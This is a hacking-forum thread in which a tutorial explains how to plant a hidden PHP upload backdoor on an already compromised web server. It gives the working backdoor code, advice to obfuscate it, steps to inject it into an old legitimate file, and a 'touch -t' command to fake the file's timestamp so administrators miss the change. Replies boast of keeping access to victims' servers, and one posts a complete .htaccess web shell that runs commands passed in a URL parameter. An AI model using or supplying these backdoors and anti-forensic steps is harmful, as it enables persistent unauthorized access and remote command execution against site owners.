[joomlafkr]

For educational purposes only.
I felt like writing a tutorial today In this tutorial I will share with you my method to hide a Backdoor in a server.

What do we need?
1. A Shelled Webserver (skiddies , learn to do it !)
2. This tutorial
3. A Php script attached to this tutorial
4. A bite of Intelligence
5. Staying Anonymous use a VPN or SSH Tunnel...

Leh go !

STEP 1 : Finding the target
Easy step , Well you just need to find a forgotten php file(wasn't changed a while ago)

In my case i found a target (common.php) you have to remember the timestamp , you will use it afterwards...

[img]http://www4.picturepush.com/photo/a/7575382/640/7575382.jpg[/img]

STEP 2 : Preparing the php script
Here is the script i used

PHP Code


<?php
if (isset ($_GET["passwd"]) and md5($_GET["passwd"])=="ad3dd2ebd28e5d7f81ec326fbdf1fa7b")
{
?>
<body [b]onload=[/b]"command.focus()">
<form enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="900000" />
upload: <input name="uploaded" type="file" /><br />
<input type="submit" value="Upload" />
</form>
</body>
<?php
}
$target_path = "./";

$target_path = $target_path . basename( $_FILES['uploaded']['name']);

if(move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo ";)";
}
?>

You need to modify md5($_GET["passwd"])=="ad3dd2ebd28e5d7f81ec326fbdf1fa7b"
with a md5 password ( you know how to do it , don't you ?)

now just go to "http://tools.th3-0utl4ws.com/php-crypt/enc.php" or somewhere else and encrypt your script
[img]http://www5.picturepush.com/photo/a/7575433/640/7575433.jpg[/img]
and yeah it's a 1kB code
STEP 3 : Inject the Backdoor
This step is tricky , you need to find some code to delete comments
for example... to save some space.
[img]http://www3.picturepush.com/photo/a/7575431/640/7575431.jpg[/img]
delete that code and inject your 1Kb backdoor
[img]http://www4.picturepush.com/photo/a/7575467/640/7575467.jpg[/img]

Done ? now Save everything and back to your console
STEP 4 : Change the timestamp ;)
Back to your console now write this down

Code

touch -t yearmonthdayhourminute filename

for me it was :

Code

touch -t 201108010124 Common.php

[img]http://www1.picturepush.com/photo/a/7575504/640/7575504.jpg[/img]
It worked right ;) no admin could recognize the change ;)
STEP 5 : Test it out ;)
now just write down the path to the php file and type the url on your browser and add a ?passwd=yourpassword
[img]http://www4.picturepush.com/photo/a/7575557/640/7575557.jpg[/img]

STEP 6 : Enjoy it and get back to it to upload the shell ;)

Test it out to see if you can upload your shell...
and enjoy your hidden Backdoor...

Script Download Link
Original
Encrypted

Please give some feedback to keep this thread alive ;)
Cheers.

[joomlafkr]

Yeah i use this often
and even the brightest admins couldn't find it lol

[SpriteZ]

Yeah i use this often
and even the brightest admins couldn't find it lol

Yeah, but if they know they've been compromised then they can just delete everything and re-upload their original files, though I usually find a way to maintain access.

[joomlafkr]

Well i guess if they aren't skilled to fix a security whole !
maybe They can't feel they are compromised !
but yeah it worked for me nearly everywhere and still got my backdoors :)

[Best Teemo NA]

Nice tuts mate. ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​ ​​

[Hooded Robin]

I use this method with WeBaCoo shells all the time and it works like a charm. Footers seem to be a common one you can take advantage of if you want to replicate your shell to every page on the site :p

PS - alternatively you can place a "." in front of your file name which will hide it from most views (like .htaccess files). There is even a person who wrote custom .htaccess files with command execution for ultimate sneakyness as the requests to the file dont show up in logs unless they are totally custom set

[RaZa]

This is quite smart, as it creates you are basically adding a php upload script hidden inside one of the old files on the server. Accompanied with touching the date back to the original date, you virtually have a hidden backdoor unless they go through their php files which they will most likely not do as they won't detect any intrusion in the first place.

[joomlafkr]

Yep , you got it right mate ;)
being smart is the only way to stay alive nowadays B-)

[SIM-659024]

nothing understand from that all thinks :(

[joomlafkr]

It's about hiding an upload script(backdoor) inside a php file.
Just follow the steps....

---

nothing understand from that all thinks :(

Did you manage to learn smthng from it ??

[Nepal Cyber Army]

nice tutorial man..
keep up the good work ..

[gatopardos]

Yeah that's nice you can also add a geoip clause to further lock down rights.. anyway use webacoo or weevely no need to rewrite and touch files.. all URL requests are logged.

---

I use this method with WeBaCoo shells all the time and it works like a charm. Footers seem to be a common one you can take advantage of if you want to replicate your shell to every page on the site :p

PS - alternatively you can place a "." in front of your file name which will hide it from most views (like .htaccess files). There is even a person who wrote custom .htaccess files with command execution for ultimate sneakyness as the requests to the file dont show up in logs unless they are totally custom set

How about that.. since you gave me that pdf I will post this here:

Code

# Self contained .htaccess web shell - Part of the htshell project # Written by Wireghoul - http://www.justanotherhacker.com # Override default deny rule to make .htaccess file accessible over web Order allow,deny Allow from all # Make .htaccess file be interpreted as php file. This occur after apache has interpreted # the apache directoves from the .htaccess file AddType application/x-httpd-php .htaccess ## SHELL ## <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>## LLEHS ##

More here:

Code

https://github.com/wireghoul/htshells

🎉 🎉 🎉

[joomlafkr]

The htshell solution is very interesting but you need to hide the htaccess file somewhere because its size will increase consequently...

Yeah that's nice you can also add a geoip clause to further lock down rights.. anyway use webacoo or weevely no need to rewrite and touch files.. all URL requests are logged.

---

How about that.. since you gave me that pdf I will post this here:

Code

# Self contained .htaccess web shell - Part of the htshell project # Written by Wireghoul - http://www.justanotherhacker.com # Override default deny rule to make .htaccess file accessible over web Order allow,deny Allow from all # Make .htaccess file be interpreted as php file. This occur after apache has interpreted # the apache directoves from the .htaccess file AddType application/x-httpd-php .htaccess ## SHELL ## <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>## LLEHS ##

More here:

Code

https://github.com/wireghoul/htshells

🎉 🎉 🎉

[snake168]

Very useful. And with a little modifications it might be even more stealthier.

[gatopardos]

jaja yes it can I have included many backdoors in the shell I'm coding although I won't give this to anyone except few people.